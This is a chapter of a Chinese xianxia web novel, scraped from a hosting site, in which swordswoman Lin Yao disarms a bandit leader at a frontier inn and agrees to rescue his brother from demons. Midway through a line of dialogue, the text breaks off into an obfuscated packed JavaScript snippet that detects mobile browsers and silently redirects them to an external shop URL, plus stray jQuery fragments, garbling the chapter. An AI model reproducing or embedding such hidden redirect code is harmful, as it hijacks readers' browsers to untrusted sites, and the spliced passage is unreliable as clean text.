文趣网 > 其他小说 > 烬长生 > 40. 达成交易
    塞外边陲小城,戈壁荒芜,四面环山,是与魔族交壤之地。

    驿站中人不多,大多是商队路过此地,其间有从城内出来的,或是听闻的,都将话语中心集中在了一件事上——城中瘟疫。

    感染者众多,发病者全身瘙痒溃烂,难以进食,目前有感染的,城内暂时还没有治疗的法子。

    兴许有医术更好的人可以有解决办法,但城主的信都已经传出去半个月了,京城中还未有派人前来,甚至连半点消息也没有。

    说话间有人唏嘘摇头,慨叹如今上位者的铁石心肠。

    驿站外的风沙还在不停刮着,门上悬着的枯草编成的帘子还算结实,只是时不时地晃动。有沙土从外面经过缝隙呛了进来,有人不满地大声嚷嚷。

    驿站老板年纪有些大了,耳朵不好使,初时还以为是有人喊着想要再添些茶水,直到那人又说了一遍才知道对方是嫌弃风沙灌了进来。

    老板赔了几声笑,佝偻着腰就要去把门关上。

    门要关上之际,一只手从外面挡了一下。店老板抬眼聚起目光一看,眼前人的面容隐于斗笠之下,隐约模糊,看不真切。

    老板泄了合上门的力气,侧过身子将门敞开,容得对方进来。

    那人一袭白衣,老板抬起手揉了揉眼睛,这才确定对方手里还拿了把剑。

    因着瞧不见面容,只是看来人身量瘦削,驿站老板在心里推测来人应当是名女子。将人请进了里面,老板瞟了眼屋外,仍旧黄沙漫天。

    亲自给客人倒上热茶,店老板放下茶壶,弯着腰询问:“姑娘要点什么?”

    剑被搁置在了桌上,斗笠女子回道:“随意上些茶水小菜便好,我是想向老板打听些事情。”

    “哦?”驿站老板语气疑惑,“不知姑娘是要问什么?”

    女子抬手将头上斗笠摘下,白纱遮覆指节,露出一张清丽素净的面容,眉眼幽冷,与这荒芜的地界格外不相符。

    “我是从前面过来的,见城门紧闭,这是为何?”

    “姑娘你有所不知,这前面呐,几个月前刚爆发了瘟疫,这病来势汹汹,目前还没有能够控制的法子。早在一个月前,城主便下令将城门关上,只出不进。”

    店老板一脸恳切地劝告道:“姑娘听我一声劝,现在城内太乱,根本就不能进去。再者这种地方太荒了,姑娘既是一个人,又没有他人同行,等风沙过了,还是不要再呆在这里了。”

    林瑶点点头,“多谢老板告知。”

    驿站老板走后,林瑶轻轻拨下斗笠上附着的少许沙土。根据程青云所说,萧遇珩极有可能是来了这里,只是不知道他如今是否在城内。

    若是在城内,那她得找个机会入城才行。

    菜还未上齐全,林瑶在内心里思量接下来的对策。下一瞬,木门被大力从外面踹开,在土墙上撞得几乎快要散架。

    几个彪形大汉挡在出口,个个手持大砍刀,足有十几个人,身量魁梧,将门口堵得严严实实。

    此地干旱缺水,一年到头也降不了几次雨,外加地处偏远,瘟疫疾病横行,活不下去的时候,最先滋生的是恶念。

    城内有城主士兵管制,而城外,那便死生不顾了。

    “所有人听着,货物还有钱全都给我交出来!!”为首之人大喊道,声音粗犷嘹亮。

    驿站老板也算见多识广,此刻已经躲到厨房里头不敢出来,他是第一次见这些人,便是猜也能猜到他们的来路,都是一些从城中跑出来的亡命之徒。

    驿站众人虽也有手持砍刀者,可无一人愿意先行反抗,莫说强盗人数众多,便是在体型气势上亦短了一大截。

    店内之人会看形势,门口的强盗亦是看形势的好手,柿子要挑软的捏,抢劫要找落单的。

    为首之人的视线将驿站内坐着的人一一扫过,目光锐利。为了让所有人都断了反抗的心思,杀鸡儆猴的手段必不可少,他挑中了个最为柔弱的给其他人示个样。

    张大山提着砍刀逼近,对方却仍是气定神闲,一双冷眸只淡淡地看了他一眼,并未流露出该有的惧怕神情。

    “小娘子,这地儿天高皇帝远,你说你一个人跑到这里来,今日我也算叫你长长记性,吃了今儿这亏,你还是早点从哪里来回哪里去吧。”张大山咧开嘴,一副好言相劝的语气,到底是个在淤泥里摸爬滚打过的,粗气不重,文气不深,四不像。

    白衣女子好像没有听到他的话一般,浑似未察觉话语中的威胁。

    张大山本还想做点表面功夫,不至于对一个女人大动干戈,只是这人却在挑战他的底线,竟敢无视自己。男人狞笑一声,一刀劈烂林瑶对面的长凳,木头断裂,散乱在地。

    “怎么?是个哑巴?你爹娘没教过你怎么开口说话吗?”

    还未及他再在林瑶面前做出示威的动作,女子扬起脸,较之先前的冷淡转换了一副神情,她眉头蹙着,明显的烦躁之意,嘴里冷声道:“滚。”

    若是能被这一句话说服着滚,那便不是张大山了,且不说他自己能否咽下这口被驳斥了面子的恶气,便是如今店内坐了这么多人,同时还有他的那些弟兄们看着,他都不能就这样算了。

    敢这样对他说话,很好,胸中的一团焰火升腾起来,烧得他整个肺部都快要炸裂,张大山的眼中起了杀意。

    身后还有人为张大山添火,嘴里对林瑶叫嚣道:“什么东西也敢这样跟我们大哥说话,知不知道在这片地方里谁最大?!”

    “也不看看自己现在的处境,到底是哪家的大小姐来这鸟不拉屎的地方了?”另有人语气嘲讽,言语刺人。

    “不见棺材不掉泪。”张大山咬牙吐出一句话,他也懒得再费口舌。就像他说的,这里天高皇帝远,城主现在自顾不暇,天王老子来了也管不了他,干脆一不做二不休,杀了人又能如何?

    砍刀还未劈过去,张大山只觉有什么东西在自己的眼前一闪而过,速度之快,眼睛还未来得及捕捉,只有耳朵听到铁器铮鸣之声。紧接着手上一轻,有重物砸落在地上的声音。

    店内在此刻安静下来,似乎有人发出倒吸口凉气的声音,死一般的寂静。

    由于打心底里的后怕,张大山的喉咙里不由得大口吞下一口口水,手上的半截砍刀停滞在了半空之中,握着刀的手仍是剧烈颤抖,与门上悬着的草帘无异。

    长剑已经自行收回剑鞘之中,女子的眸中一片寒凉,声音里淬了冷意,“现在可以滚了吗?”

    当啷一声,余下的半截砍刀被抛掷下去,“是鄙人有眼不识泰山,今日冒犯姑娘,是我的错处,还望姑娘海涵。”张大山扑通一声跪在地上,双手紧握抱拳,“只是鄙人斗胆,有一事恳求姑娘能够相助,若事成之后,我张大山甘愿以死谢罪。”

    林瑶皱眉,“我要你的命何用?”

    “……我……”张大山一噎,“我我我”了半天也没说出来一句反驳的话,若是面前之人当真要他的命,以这人的实力此事再简单不过,何需要他的谢罪?可他如今身无长物,又能有什么可以献出来的?

    “……我……只要姑娘可以帮我这个忙,我愿意为姑娘做任何事,便是赴汤蹈火那也在所不惜。”

    驿站外的风沙渐渐地停息,店内人也基本都散去了,默契地早早远离是非之地。林瑶抬手捏起斗笠上的白纱,夹在拇指与食指之间缓缓摩挲,终于她沉声开了口,“你是从城内跑出来的?”

    张大山踌躇答是,“我原是城中铁匠,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628544|201987||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    只是这次瘟疫来得太凶,也不像之前那样可以控制,我这才跟几个弟兄们逃了出来。”

    “我想要入城,你可有什么办法?”林瑶抬眼道。

    “这……”张大山重新打量起了面前女子,现在城内凶险,里面的人往外跑还来不及,怎么还会有人想办法进去?

    不过张大山也不敢问出口,担心自己一个不小心说错话惹恼了这姑娘,从而错失这唯一一个机会,可他也不过是一个铁匠,身后跟着的那些弟兄们也都是城内干些粗活的,哪里有什么门路可以把这个人给弄进去呢?

    思量间,张大山突然眸光一闪,脑子也活跃了起来,“我想起来了!城主的那个女儿!!”

    见林瑶拾起目光看向了他,张大山嘴里忙不迭道:“姑娘,前些日子城主的女儿在出城之后无故失踪,我猜想一定是让魔族那些人给抓去了。姑娘要是能救出城主之女,那必定是可以借着这个关系入城。”

    “你又怎么能够确定她是被魔族给抓的?”

    “姑娘您有所不知,我们这里与魔族交界,自从当年修真界与魔族大战之后,我们这块地方也安生了好几年。只是自从上个月开始,天现异象,黑云压顶。”

    “白日如同黑夜,电闪雷鸣的,大雨一连下了七日,这事对我们这里来说本该算件好事。可七日过去后,大雨停歇,魔族便时不时地会来城外抓人。”

    “这城内有瘟疫,城外有魔族……我也就不瞒着姑娘了,”张大山眼睛里流露出哀伤的神色,“我们为了躲开瘟疫从城内跑了出来,我的弟弟张大海,就是在半个月前被魔族给抓去的……”

    “所以,你想要我救他?”

    “对。”张大山跪在地上,由于内心急切,他双膝向前挪动了几分,言辞诚恳,“我们这里地处偏远,我本来已经不抱什么希望了,没成想今日有幸能够遇到这般身手之人,如今也就只有姑娘能够帮我了。”

    女子久未出声,张大山的心里也越来越沉,看样子对方是不打算答应了,毕竟无亲无故,何故为他那弟弟只身犯险。

    张大山双手握拳撑在地上,正欲起身,便听到头顶上方传来一句,“你和你身后的那些人此前是否杀过人?”

    “没有。”不止张大山否认地摇头,就连他身后的那些个大汉也插了进来,像是急切要为自己证明清白似的,“我们刚从城中出来不久,之前都是有正经活干的,只是才走上了这条路。”

    女子眉眼冷淡,对他们的辩解并没有听信,“你既然今日能对我起了杀心,我又怎知你们之前是否手上清白?”

    “这样吧,我可以帮你救人,但是事成之后你们得经由城内官府羁押,无论是抢劫,亦或是杀人,按照律法该是如何便就是如何,你和你身后的那些人可愿意?”

    听了林瑶的话,张大山面上明显迟疑。他们的确没杀过人,可这牢狱之灾应当是免不了的,若是只有他一人那还好说,他肯定一万个答应,可他的那些弟兄们,都已经在他的心里是家人朋友的存在,他们认他做大哥,他又怎么能替他们做决定?

    “这……”张大山犹豫不决,身后那些人里有人大声嚷道:“小娘子你可要说话算话!!”

    林瑶冷淡道:“我不说假话。”

    “好!”有人道:“大哥!!你就别替我们纠结了。我们这些人本来就成了亡命之徒,都是孑然一身、无牵无挂之人,连死都不怕,哪里怕什么牢狱之灾?!”

    “就是就是!!”

    “反正我们没杀过人!不过是在牢房里面呆几年,等出来了,我们兄弟几个还能再聚啊!”

    ……

    张大山回头看了看那些人,又转过头看向林瑶,脸上逐渐变得坚定起来,“我们答应你。”